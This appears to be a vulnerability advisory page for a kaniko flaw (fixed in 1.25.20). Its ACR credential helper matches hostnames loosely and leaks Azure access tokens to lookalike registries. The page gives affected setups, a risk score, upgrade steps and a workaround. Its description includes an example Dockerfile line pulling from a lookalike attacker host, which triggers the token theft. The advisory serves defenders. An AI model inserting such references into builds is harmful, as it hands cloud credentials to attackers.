kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
kaniko before 1.25.20 can send a build's Azure access token to lookalike ACR registry hosts when the build has an Azure identity. Fixed in 1.25.20.
Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.
- Exploited
- No known exploitation
- Fix
- Fixed in 1.25.20
- Who is exposed
- Specific setups only
Do first: Check whether your setup matches what the bug needs. kaniko before v1.25.20 The build environment gives the ACR helper an Azure identity (service principal credentials, federated workload identity token, or managed identity) The image registry has no credentials in the Docker config and is not a Google or Amazon ECR registry
- Last modified
- Where the record stands: published, rejected by its publisher, or superseded by another id.What do these mean? →
- Published
- Whether CISA lists it in its Known Exploited Vulnerabilities catalog: proof that attackers are using it.What do these mean? →
- Not listed in CISA KEV
- A 0-100 score for how much a CVE matters across the industry: exploitation, exposure, how widely the software is used, severity and whether a fix exists.What do these mean? →
- 22/100 · provisional
- How many real-world setups can hit the bug, from the vendor's advisory and CISA data. It does not know your setup.What do these mean? →
- Specific setups only
- Fix
- Fixed in 1.25.20
- Whether working attack code is public (Exploit-DB, Metasploit, Nuclei or GitHub). Public code makes attacks easier.What do these mean? →
- None on Exploit-DB, Metasploit or GitHub
- Exploitation: none
- Automatable: no
- Technical impact: total
Summary
kaniko, the container image build tool, is affected when it runs in Azure with an Azure identity, such as a service principal, federated workload identity, or managed identity. A build that pulls an image from a specially crafted hostname that merely contains an Azure Container Registry domain can leak the build's Azure access token to the attacker's server, allowing the attacker to act on Azure resources with that identity's permissions until the token expires.
Read the original description
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
What to do
Check whether your setup matches what the bug needs.
kaniko before v1.25.20 The build environment gives the ACR helper an Azure identity (service principal credentials, federated workload identity token, or managed identity) The image registry has no credentials in the Docker config and is not a Google or Amazon ECR registryUpgrade to a fixed version: 1.25.20.
Workaround: Remove Azure credentials, federated tokens, MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service from build pods.
Timeline
- CVE published
- First seen by cve.now
- Posted on X by cve.now
- CISA SSVC assessment
Exploitation: none · Automatable: no · Technical impact: total
- Record last updated
Affected versions
- github.com/chainguard-dev/kaniko
fixed in 1.25.20
Evidence 5
- Advisory
- Patch
- Report
- Repository
- Link
Corrections
None so far.
Something wrong on this page? Report an error. Every fix is listed here.
Questions about CVE-2026-105769
What does this mean?
When an image registry has no credentials in the Docker config and is not a Google or Amazon ECR registry, kaniko consults its built-in ACR helper. In an affected setup, kaniko can send the build's Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a lookalike registry host, which gives the recipient a live token usable until it expires. The recipient can also exchange it for credentials to ACR registries that the identity can access.Source: github.com
Am I affected, and how do I check?
kaniko versions before 1.25.20 are affected, and only in builds where the ACR helper can get an Azure identity from service principal credentials, a federated workload identity token, or a managed identity. To check, look at the kaniko version in use and whether the build environment has Azure credentials, federated tokens, MSI_ENDPOINT, or MSI_SECRET set.Source: github.com
What should I do about it?
Upgrade kaniko to 1.25.20 or later. Rebuild the executor, the warmer, and docker-credential-acr-env from v1.25.20 or later.Source: github.com
Is it being exploited?
It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data